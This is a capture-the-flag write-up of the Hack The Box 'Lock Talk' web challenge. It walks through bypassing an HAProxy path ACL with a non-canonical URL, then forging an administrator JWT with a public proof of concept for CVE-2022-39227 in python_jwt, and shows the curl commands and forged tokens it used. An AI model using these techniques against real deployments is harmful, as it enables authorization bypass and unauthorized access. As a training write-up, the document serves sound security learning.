Lock Talk Writeup - Cyber Apocalypse 2024
- 1 Introduction
- 2 Key techniques
- 3 Artifacts Summary
- 4 Mapping the application
- 5 Vulnerability analysis - CVE-2022-39227
- 6 Hypothesized attack vector
- 7 Vulnerability analysis - bypassable HAProxy ACL
- 8 Exploitation - exercise the obtained JWT
- 9 Exploitation - forge a JWT with a role of administrator
- 10 Exploitation - read the flag
- 11 Conclusion
→ 1 Introduction
This writeup covers the Lock Talk Web challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having a ‘medium’ difficulty. The challenge was a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container.
The description of the challenge is shown below.
→ 2 Key techniques
The key techniques employed in this writeup are:
- manual source code review
- HAProxy ACL (Access Control List) bypass
- Exploitation of CVE-2022-39277 to forge a JWT (JSON Web Token) and bypass authorization
→ 3 Artifacts Summary
The downloaded artifact had the following hash:
$ shasum -a256 web_locktalk.zip
0e1d00c7e6ad24f123b7a705b58222753fae3202853ab999f4e8f605d0e6646d web_locktalk.zip
The zip file contained the following files, indicating the application is a Python application.
$ unzip -d web_locktalk web_locktalk.zip
Archive: web_locktalk.zip
inflating: web_locktalk/build_docker.sh
creating: web_locktalk/challenge/
inflating: web_locktalk/challenge/config.py
creating: web_locktalk/challenge/app/
creating: web_locktalk/challenge/app/api/
creating: web_locktalk/challenge/app/api/json/
inflating: web_locktalk/challenge/app/api/json/9.json
inflating: web_locktalk/challenge/app/api/json/5.json
inflating: web_locktalk/challenge/app/api/json/8.json
inflating: web_locktalk/challenge/app/api/json/4.json
inflating: web_locktalk/challenge/app/api/json/7.json
inflating: web_locktalk/challenge/app/api/json/10.json
inflating: web_locktalk/challenge/app/api/json/1.json
inflating: web_locktalk/challenge/app/api/json/6.json
inflating: web_locktalk/challenge/app/api/json/3.json
inflating: web_locktalk/challenge/app/api/json/2.json
inflating: web_locktalk/challenge/app/api/routes.py
inflating: web_locktalk/challenge/app/api/__init__.py
inflating: web_locktalk/challenge/app/__init__.py
creating: web_locktalk/challenge/app/main/
inflating: web_locktalk/challenge/app/main/routes.py
creating: web_locktalk/challenge/app/main/templates/
inflating: web_locktalk/challenge/app/main/templates/index.html
creating: web_locktalk/challenge/app/main/static/
creating: web_locktalk/challenge/app/main/static/js/
inflating: web_locktalk/challenge/app/main/static/js/main.js
extracting: web_locktalk/challenge/app/main/static/js/.gitkeep
creating: web_locktalk/challenge/app/main/static/css/
inflating: web_locktalk/challenge/app/main/static/css/style.css
extracting: web_locktalk/challenge/app/main/static/css/.gitkeep
creating: web_locktalk/challenge/app/main/static/images/
extracting: web_locktalk/challenge/app/main/static/images/.gitkeep
creating: web_locktalk/challenge/app/main/static/fonts/
extracting: web_locktalk/challenge/app/main/static/fonts/.gitkeep
inflating: web_locktalk/challenge/app/main/__init__.py
creating: web_locktalk/challenge/app/middleware/
inflating: web_locktalk/challenge/app/middleware/middleware.py
extracting: web_locktalk/challenge/app/middleware/__init__.py
inflating: web_locktalk/challenge/run.py
creating: web_locktalk/conf/
extracting: web_locktalk/conf/requirements.txt
inflating: web_locktalk/conf/haproxy.cfg
inflating: web_locktalk/conf/uwsgi.ini
inflating: web_locktalk/conf/supervisord.conf
inflating: web_locktalk/Dockerfile
→ 4 Mapping the application
→ 4.1 Mapping the application interactively
The target website was opened in the Firefox browser, proxied via mitmproxy. The website displayed a form:
None of the UI buttons seemed to work for me but a quick perusal of the page source in the browser revealed three HTTP GET URLs:
<div class="path"> /api/v1/get_ticket </div>
...
<div class="path"> /api/v1/chat/{chatId} </div>
...<div class="path"> /api/v1/flag </div>
Attempting to GET /api/v1/get_ticket
resulted in an HTTP
403 Forbidden error:
Attempting to GET the last two URLs resulted in HTTP 401 Unauthorized errors and a response message indicating a JWT is expected:
→ 4.2 Mapping the application via source code review
To support the interactive mapping and to easily discover hidden endpoints, further mapping of the application was conducted via source code review.
→ 4.2.1 Dockerfile
The following were observed in Dockerfile
:
-
An Alpine Linux base image is used:
-
The
conf/
andchallenge/
directories are copied toopt/
: -
haproxy
version 2.8.1 is installed: -
supervisord
is used to run the app, configured via/opt/conf/supervisord.conf
:
→ 4.2.2 supervisord.conf
supervisord.conf
confirms that one of the running
processes is haproxy
, configured via
/opt/conf/haproxy.cfg
:
[program:haproxy]
command=haproxy -db -f '/opt/conf/haproxy.cfg'
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
→ 4.2.3 haproxy.cfg
haproxy.cfg
indicates the frontend is configured with an
ACL (Access
Control List)
frontend haproxy
bind 0.0.0.0:1337
default_backend backend
http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }
The ACL entry has the following meaning:
-
http-request deny rejects the request if the following
if
condition is true -
url_dec will URL decode the request
-
path_beg will test if the request path begins with
/api/v1/get_ticket
-
-i will ignore case when matching the request path
The ACL explains the HTTP 403 Forbidden error previously observed
when attempting to retrieve /api/v1/get_ticket
.
→ 4.2.4 app/api/routes.py
app/api/routes.py
contains the routes for the Python
application and it is here where the functionality of the URLs
discovered during interactive application mapping can be determined.
-
The
/get_ticket
route generates a JWT using a secret key and PS256 algorithm with expiry of 60 minutes. The JWT includes a role claim that has a value ofguest
. -
The
flag
route requires the requester to be in theadministrator
role to obtain the flag.
→ 4.2.5 /app/middleware/middleware.py
/app/middleware/middleware.py
contains the
@authorize_roles
decorator that is used by the routes
above. This decorator is implemented to test whether the role claim in
the JWT matches the role passed to the decorator.
def authorize_roles(roles):
def decorator(func):
@wraps(func)
def wrapper(*args, **kwargs):
token = request.headers.get('Authorization')
if not token:
return jsonify({'message': 'JWT token is missing or invalid.'}), 401
try:
token = jwt.verify_jwt(token, current_app.config.get('JWT_SECRET_KEY'), ['PS256'])
user_role = token[1]['role']
if user_role not in roles:
return jsonify({'message': f'{user_role} user does not have the required authorization to access the resource.'}), 403
return func(*args, **kwargs)
except Exception as e:
return jsonify({'message': 'JWT token verification failed.', 'error': str(e)}), 401
return wrapper
return decorator
→ 4.2.6 requirements.txt
requirements.txt
defines the Python dependencies of the
application. Interestingly, python_jwt
is the only
dependency declared with an explicit version. Specifically, it is
unlikely the other dependencies contain an exploitable vulnerability
within the scope of this challenge.
uwsgi
Flask
requests
python_jwt==3.3.3
→ 5 Vulnerability analysis - CVE-2022-39227
snyk indicates that
python_jwt
3.3.3 is vulnerable to CVE-2022-39227
which allows attackers to forge a JWT:
Crucially, the details in the NVD entry indicate that a JWT first needs to be obtained before a new JWT can be forged:
An attacker who obtains a JWT can arbitrarily forge its contents without knowing the secret key.
A PoC (Proof of Concept) for exploiting the vulnerability was found. The PoC was manually reviewed for safety:
-
The latest commit version was noted for future reference:
$ git log commit 894b7039d75e7f514b52286cf7c22a30fbdfebba (HEAD -> main, origin/main, origin/HEAD)
-
The code was manually reviewed
-
The only non-standard python module imported is
jwcrypto
:from json import loads, dumps from jwcrypto.common import base64url_decode, base64url_encode import argparse
-
jwcrypto
appears to be a legitimate dependency based on the following:
With respect to the challenge target, this vulnerability is an instance of the common weakness CWE-1395: Dependency on Vulnerable Third-Party Component.
→ 6 Hypothesized attack vector
At this stage, the attack vector was hypothesized to be comprised of the following steps:
-
Find a way to bypass the
haproxy
ACL to GET a JWT from the/api/v1/get_ticket
route. -
Exploit CVE-2022-39227 in order to forge a new JWT that has a role
of
administrator
. -
Submit the forged JWT to the
/api/v1/flag
route in order to obtain the flag.
→ 7 Vulnerability analysis - bypassable HAProxy ACL
The haproxy
ACL was trivially bypassed by sending a
request to api/v1/../v1/get_ticket
. The
--path-as-is
option was passed to curl
to
ensure that curl
preserves the path without canonicalizing
it:
$ curl --path-as-is -x http://127.0.0.1:8080 http://94.237.62.149:46025/api/v1/../v1/get_ticket
{"ticket: ":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.KQnyfKwxX4nfBgzOFIsBnJX7K3dPDrsgq2Dt9nDQGWGuHtFkvKPin2uE0ZIY6qpMnC0HgpBWUSO3yPZ1O6cWrCcJvPMGsrAtit08Xwws-QcGhmmAUw6flROsx5WVwz-afsNV5JAZc8OfcHWpras_PfW67-g6PUFKL4B722p6Gv5_F4lp1M8FHGii-PvP4le8bMccVxih6Cz0uoRk2RLtLNAF8BIzS_3UqIHwPRYLXVZLNnq_AeIMT_WabRKZVQ3jmRikQQRjZvMWQVjgmvSJRB5jJp_6CQ-pPxvoyitwuUTH08-O1gcOxUPKI9auKAifpofmHi_I4oXTCwrLfw_LKA"}
This vulnerability is an instance of the common weakness CWE-647: Use of
Non-Canonical URL Paths for Authorization Decisions. It should be
noted that further research is warranted to determine whether it is
possible to construct an haproxy
ACL rule that is secure
for this use case. However, this is out of the scope of this
writeup.
→ 8 Exploitation - exercise the obtained JWT
The JWT obtained above was decoded to confirm it’s claims contain a
role of guest
:
$ echo -n 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.KQnyfKwxX4nfBgzOFIsBnJX7K3dPDrsgq2Dt9nDQGWGuHtFkvKPin2uE0ZIY6qpMnC0HgpBWUSO3yPZ1O6cWrCcJvPMGsrAtit08Xwws-QcGhmmAUw6flROsx5WVwz-afsNV5JAZc8OfcHWpras_PfW67-g6PUFKL4B722p6Gv5_F4lp1M8FHGii-PvP4le8bMccVxih6Cz0uoRk2RLtLNAF8BIzS_3UqIHwPRYLXVZLNnq_AeIMT_WabRKZVQ3jmRikQQRjZvMWQVjgmvSJRB5jJp_6CQ-pPxvoyitwuUTH08-O1gcOxUPKI9auKAifpofmHi_I4oXTCwrLfw_LKA' | jwt -show -
Header:
{
"alg": "PS256",
"typ": "JWT"
}
Claims:
{
"exp": 1710391431,
"iat": 1710387831,
"jti": "nJnKde8PfB02mHrK4NQ1BQ",
"nbf": 1710387831,
"role": "guest",
"user": "guest_user"
}
The JWT was confirmed to be accepted by the
/api/v1/chat/1
route:
$ curl -x http://127.0.0.1:8080 -H 'Authorization: eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.KQnyfKwxX4nfBgzOFIsBnJX7K3dPDrsgq2Dt9nDQGWGuHtFkvKPin2uE0ZIY6qpMnC0HgpBWUSO3yPZ1O6cWrCcJvPMGsrAtit08Xwws-QcGhmmAUw6flROsx5WVwz-afsNV5JAZc8OfcHWpras_PfW67-g6PUFKL4B722p6Gv5_F4lp1M8FHGii-PvP4le8bMccVxih6Cz0uoRk2RLtLNAF8BIzS_3UqIHwPRYLXVZLNnq_AeIMT_WabRKZVQ3jmRikQQRjZvMWQVjgmvSJRB5jJp_6CQ-pPxvoyitwuUTH08-O1gcOxUPKI9auKAifpofmHi_I4oXTCwrLfw_LKA' http://94.237.62.149:46025/api/v1/chat/1
{"chat_id":"1","messages":[{"content":"[Chat started]","party":"Victim","timestamp":"26.07.2022 16:05:41 UTC"},{"content":"hello","party":"OpenBit 3.0","timestamp":"26.07.2022 16:27:56 UTC"},{"content":"Are you ready to negotiate?","party":"OpenBit 3.0","timestamp":"26.07.2022 16:28:28 UTC"},{"content":"Price decrypt 3 000 000$","party":"OpenBit 3.0","timestamp":"26.07.2022 16:42:56 UTC"},{"content":"Hello","party":"Victim","timestamp":"27.07.2022 15:19:16 UTC"},{"content":"are you here ?","party":"Victim","timestamp":"27.07.2022 15:23:55 UTC"},{"content":"yes","party":"OpenBit 3.0","timestamp":"27.07.2022 15:24:14 UTC"},{"content":"we wait your answer and your offers","party":"OpenBit 3.0","timestamp":"27.07.2022 15:24:38 UTC"},{"content":"3 000 000$ is too much whats your best offer ?","party":"Victim","timestamp":"27.07.2022 15:25:50 UTC"},{"content":"well, given that your network was not completely infected, we can drop the price to 1,000,000","party":"OpenBit 3.0","timestamp":"27.07.2022 15:26:49 UTC"},{"content":"Also keep in mind that we have stolen your data and can publish it at any time","party":"OpenBit 3.0","timestamp":"27.07.2022 15:27:34 UTC"},{"content":"http://OpenBitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead.onion/post/[redacted]","party":"OpenBit 3.0","timestamp":"27.07.2022 15:27:49 UTC"},{"content":"We offer you to decrypt all your files as well as files of your hypervisors for 1 million","party":"OpenBit 3.0","timestamp":"27.07.2022 15:28:37 UTC"},{"content":"You are a fairly large company and it will not be a problem for you to collect such an amount","party":"OpenBit 3.0","timestamp":"27.07.2022 15:29:12 UTC"},{"content":"[redacted] - BTC Wallet","party":"OpenBit 3.0","timestamp":"27.07.2022 15:33:02 UTC"},{"content":"It's up to you to pay or not, we also backed up your SQL databases before overwriting and encrypting them so they're safe","party":"OpenBit 3.0","timestamp":"27.07.2022 15:34:38 UTC"},{"content":"ur offer is that you make a payment of exactly $ 1,000,000 and we give you a full set of decoders for both ESXi and the Windows family","party":"OpenBit 3.0","timestamp":"27.07.2022 15:37:59 UTC"}]}
→ 9 Exploitation - forge a JWT with a role of administrator
Using the aforementioned PoC,
the JWT was modified to replace the guest
role with an
administrator
role:
$ python3 CVE-2022-39227/cve_2022_39227.py -j 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.KQnyfKwxX4nfBgzOFIsBnJX7K3dPDrsgq2Dt9nDQGWGuHtFkvKPin2uE0ZIY6qpMnC0HgpBWUSO3yPZ1O6cWrCcJvPMGsrAtit08Xwws-QcGhmmAUw6flROsx5WVwz-afsNV5JAZc8OfcHWpras_PfW67-g6PUFKL4B722p6Gv5_F4lp1M8FHGii-PvP4le8bMccVxih6Cz0uoRk2RLtLNAF8BIzS_3UqIHwPRYLXVZLNnq_AeIMT_WabRKZVQ3jmRikQQRjZvMWQVjgmvSJRB5jJp_6CQ-pPxvoyitwuUTH08-O1gcOxUPKI9auKAifpofmHi_I4oXTCwrLfw_LKA' -i 'role=administrator'
[+] Retrieved base64 encoded payload: eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ
[+] Decoded payload: {'exp': 1710391431, 'iat': 1710387831, 'jti': 'nJnKde8PfB02mHrK4NQ1BQ', 'nbf': 1710387831, 'role': 'guest', 'user': 'guest_user'}
[+] Inject new "fake" payload: {'exp': 1710391431, 'iat': 1710387831, 'jti': 'nJnKde8PfB02mHrK4NQ1BQ', 'nbf': 1710387831, 'role': 'administrator', 'user': 'guest_user'}
[+] Fake payload encoded: eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9
[+] New token:
{" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"KQnyfKwxX4nfBgzOFIsBnJX7K3dPDrsgq2Dt9nDQGWGuHtFkvKPin2uE0ZIY6qpMnC0HgpBWUSO3yPZ1O6cWrCcJvPMGsrAtit08Xwws-QcGhmmAUw6flROsx5WVwz-afsNV5JAZc8OfcHWpras_PfW67-g6PUFKL4B722p6Gv5_F4lp1M8FHGii-PvP4le8bMccVxih6Cz0uoRk2RLtLNAF8BIzS_3UqIHwPRYLXVZLNnq_AeIMT_WabRKZVQ3jmRikQQRjZvMWQVjgmvSJRB5jJp_6CQ-pPxvoyitwuUTH08-O1gcOxUPKI9auKAifpofmHi_I4oXTCwrLfw_LKA"}
Example (HTTP-Cookie):
------------------------------
auth={" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"KQnyfKwxX4nfBgzOFIsBnJX7K3dPDrsgq2Dt9nDQGWGuHtFkvKPin2uE0ZIY6qpMnC0HgpBWUSO3yPZ1O6cWrCcJvPMGsrAtit08Xwws-QcGhmmAUw6flROsx5WVwz-afsNV5JAZc8OfcHWpras_PfW67-g6PUFKL4B722p6Gv5_F4lp1M8FHGii-PvP4le8bMccVxih6Cz0uoRk2RLtLNAF8BIzS_3UqIHwPRYLXVZLNnq_AeIMT_WabRKZVQ3jmRikQQRjZvMWQVjgmvSJRB5jJp_6CQ-pPxvoyitwuUTH08-O1gcOxUPKI9auKAifpofmHi_I4oXTCwrLfw_LKA"}
→ 10 Exploitation - read the flag
The flag was obtained via the /api/v1/flag
route using
the forged JWT in the Authorization header:
$ curl -x http://127.0.0.1:8080 -H 'Authorization: {" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"KQnyfKwxX4nfBgzOFIsBnJX7K3dPDrsgq2Dt9nDQGWGuHtFkvKPin2uE0ZIY6qpMnC0HgpBWUSO3yPZ1O6cWrCcJvPMGsrAtit08Xwws-QcGhmmAUw6flROsx5WVwz-afsNV5JAZc8OfcHWpras_PfW67-g6PUFKL4B722p6Gv5_F4lp1M8FHGii-PvP4le8bMccVxih6Cz0uoRk2RLtLNAF8BIzS_3UqIHwPRYLXVZLNnq_AeIMT_WabRKZVQ3jmRikQQRjZvMWQVjgmvSJRB5jJp_6CQ-pPxvoyitwuUTH08-O1gcOxUPKI9auKAifpofmHi_I4oXTCwrLfw_LKA"}' http://94.237.62.149:46025/api/v1/flag
{"message":"HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}"}
→ 11 Conclusion
The flag was submitted and the challenge was marked as pwned